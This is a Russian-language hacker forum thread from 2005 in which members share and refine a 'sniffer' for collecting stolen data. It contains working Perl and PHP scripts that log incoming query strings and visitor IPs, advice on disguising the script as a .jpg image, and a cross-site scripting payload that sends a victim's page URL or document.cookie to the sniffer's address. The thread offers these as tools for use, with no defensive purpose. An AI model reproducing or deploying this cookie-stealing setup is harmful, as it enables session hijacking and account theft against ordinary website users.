cgi-Сниффер

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Майор, 13 Jan 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Здесь на античате привидён пример сниффера :
    #!/usr/bin/perl

    #путь к лог-файлу
    $LogFile="log.txt";
    #максимальное число записей в лог-файле
    $mlength=50;

    #делаем редирект на картинку
    print "Location: image.gif\n\n";

    #читаем CGI запрос
    read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
    $input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
    $input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

    #получаем время запроса и HTTP_REFERER
    $now_string = localtime;
    $ref = $ENV{'HTTP_REFERER'};

    #читаем лог-файл в массив
    open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
    @LOGtext=<LOG>;
    close (LOG);

    #открываем на запись лог
    open (LOG, ">$LogFile");

    #сохраняем данные запроса
    print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

    #сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
    $counter=1;
    foreach $LOGitem (@LOGtext)
    {
    if ($counter<$mlength){ print LOG "$LOGitem"; };
    $counter++;
    };

    #закрываем лог
    close (LOG);

    exit;


    Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
    Как зделать, так чтоб его можно было открывать как картинку ???
     
  2. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755
     
  3. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Спасибо!
    Возможно подобия такого снифера написать на php ?
     
  4. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Возможно, но если хочешь с расширением jpg, то придется менять настройки сервера
     
  5. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    Хмм... а помоему про написать на пхп... ВОТ я себе написал снифер на ПХП и никаких проблем
     
  6. SHiTS

    SHiTS КУЛХАЦКЕР

    Joined:
    11 Dec 2004
    Messages:
    186
    Likes Received:
    15
    Reputations:
    0
    не поделишься сниффом?))
     
  7. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    для нчала держи простой сниф
    я думаю разберёси... если нет пиши

    <? $datafile="data.txt";
    $snif=$_SERVER["QUERY_STRING"];
    $snif=urldecode($snif);
    $ip=$_SERVER["REMOTE_ADDR"];
    if($snif=="snif") {
    $f=@file($datafile);
    print "<table border=1 width=100%><tr><td width=30%>Время</td><td>Данные</td><td width=20%>ИП</td></td>";
    $i=1;
    if($f) foreach($f as $v) {print "$v";$i++;}
    print "$i lines total</table>";
    } else {
    $f=@file($datafile);
    $datas=count($f);
    $fw=fopen($datafile,'w');
    fputs($fw,"<tr><td>".date ("l dS of F Y h:i:s A")."</td><td>$snif</td><td>$ip</td></tr>\n");
    if($datas<40){if($f) foreach($f as $v) fputs($fw,$v);
    }else{
    for($i=0;$i<40;$i++) fputs($fw,$f[$i]);}
    fclose($fw);}?>
     
  8. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    отсылка ни него идёт типа

    <script>a='url(\"http://путь_к_сниферу?'+location.href+'\")';document.all.tags('font')[0].style.backgroundImage=a;</script>

    если получаем куки то вместо location.href - document.cookie
    просмотр и тога как заметил в снифере имеет такой вид http://твойсайт/снифер.php?snif
     
  9. SHiTS

    SHiTS КУЛХАЦКЕР

    Joined:
    11 Dec 2004
    Messages:
    186
    Likes Received:
    15
    Reputations:
    0
    если бы у меня был Си, а то только Delphi
     
  10. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    а зачем тебе Си???? сниф на ПХП написан
     
  11. JazzzSummerMan

    Joined:
    7 Apr 2004
    Messages:
    374
    Likes Received:
    18
    Reputations:
    14
    Еще можно выполнить PHP как чисто cgi-скрипт, в каталоге cgi-bin, только указать как в перле путь к интерпретатору